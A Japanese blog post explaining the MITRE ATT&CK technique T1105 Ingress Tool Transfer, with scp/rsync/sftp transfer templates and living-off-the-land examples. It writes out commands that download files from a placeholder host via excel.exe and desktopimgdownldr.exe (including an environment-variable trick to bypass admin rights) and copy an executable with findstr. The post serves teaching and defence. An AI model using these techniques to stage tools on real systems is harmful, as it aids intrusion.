🔧

MITRE ATT&CK T1105 Ingress Tool Transferと関連情報

2021/06/12に公開

MITRE ATT&CK「14の戦術」の中で「コマンドアンドコントロール」に分類されるテクニック「T1105 Ingress Tool Transfer」とその関連情報を取り上げる。
Ingress Tool Transfer, Technique T1105 - Enterprise | MITRE ATT&CK®

T1105 Ingress Tool Transferの定義

攻撃者が標的にツールを持ち込むテクニック。MITRE ATT&CKでのT1105 Ingress Tool Transferの定義を日本語訳する。

攻撃者は、ツールやその他のファイルを外部システムから侵害された環境に転送する可能性がある。 ファイルはC2チャンネルを介して外部の攻撃者が制御するシステムからコピーして、ツールを被害者のネットワークに持ち込むか、FTPなどの別のツールを使用した代替プロトコルを介してコピーできる。 scp、rsync、sftpなどのネイティブツールを使用してMacおよびLinuxにファイルをコピーすることもできる。

T1105 Ingress Tool Transferのサブテクニック

サブテクニックは無しとなっている。

一般的な転送方法

定義の中でも取り上げられているように、scp、rsync、sftpなどのコマンドを使用することでツール(≒ファイル)を転送することができる。転送には、外側から送り込む「Push」と、内側から取りに行く「Pull」の両側面がある。

Push

scp

scp {local_file} {username}@{remote_host}:{remote_path}

rsync

rsync -r {local_path} {username}@{remote_host}:{remote_path}

sftp

sftp {username}@{remote_host}:{remote_path} <<< $'put {local_file}'

Pull

scp

scp {username}@{remote_host}:{remote_file} {local_path}

rsync

rsync -r {username}@{remote_host}:{remote_path} {local_path}

sftp

sftp {username}@{remote_host}:{remote_file} {local_path}

他にも、wgetやcurl、WindowsであればPowerShellのDownloadStringなどが用いられる。

転送用でないコマンドの活用

前項で挙げたようなコマンドは、誰が見てもファイル転送やネットワーク接続していることが明らか。このようなものは検知ソリューションなどでも監視されている場合が多い。そこで、一般にはファイル転送用として認知されていないコマンドを活用する手法が知られている。

LOLBin, LOLBaS

OSや一般的な環境に存在しているコマンドをLOLBin(Living Off the Land Binary)、 LOLBaS(Living Off the Land Binary and Script)と呼ぶ。

Windowsの標準的なコマンドを用いてファイルのダウンロード/アップロード、あるいはコピーや実行をする手法がLOLBAS-Projectにまとめられている。
LOLBAS - Living Off The Land Binaries and Scripts (and also Libraries)

例1)excel.exe

OS標準ではないが、Windowsの多くに入っていると思われるMicrosoft Excelを起動するコマンドexcel.exe。引数にはローカルファイルだけでなく、HTTPスキームの指定も可能。

excel.exe http://example.com/hoge.dll

表面的にはExcel上で読み取り専用でファイルが開くだけだが、 ローカルの所定のフォルダにキャッシュが保存される。キャッシュ先のパスは特定できるため、ダウンロード後の実行や他パスへの移動が可能。

Mediumに詳しい解説があったので紹介する。
Unsanitized file validation leads to Malicious payload download via Office binaries. | by Reegun J | Medium

例2)findstr.exe

ファイル内を正規表現で検索できるコマンド。httpによる外部リソースの取得はできないが、内部ネットワークのサーバからの取得を行うことができる。

findstr /V /L hogehoge \\servername\file.exe > c:\work\work.exe

/Vは、指定した文字列を含まない行をすべて表示するオプション。存在しないであろうhogehogeを検索させた結果、全行が一致し、元ファイルと同じファイルが出力(コピーされる)。広い意味では、これもTransferの様子。

例3)desktopimgdownldr.exe

壁紙をダウンロードして所定のフォルダに置くコマンド。

set "SYSTEMROOT=C:\Windows\Temp" && 
cmd /c desktopimgdownldr.exe /lockscreenurl:http://example.com/file.exe 
/eventName:desktopimgdownldr

標準設定では、所定のフォルダは管理者権限でしかアクセスできないが、環境変数%systemroot%を書き換えることでユーザ権限でも実行できてしまう。

日本語で詳しく解説されている方がいるので、リンクを張らせていただく。
desktopimgdownldrを使ったLOLBin手法の検証 - ごちうさ民の覚え書き

おわりに

MITRE ATT&CKから「T1105 Ingress Tool Transfer」の定義とその簡単な例を取り上げた。プラットフォームごとに様々な手法があり、実際のシーンでは難読化なども組み合わせられ、より高度な手法が用いられる。

Discussion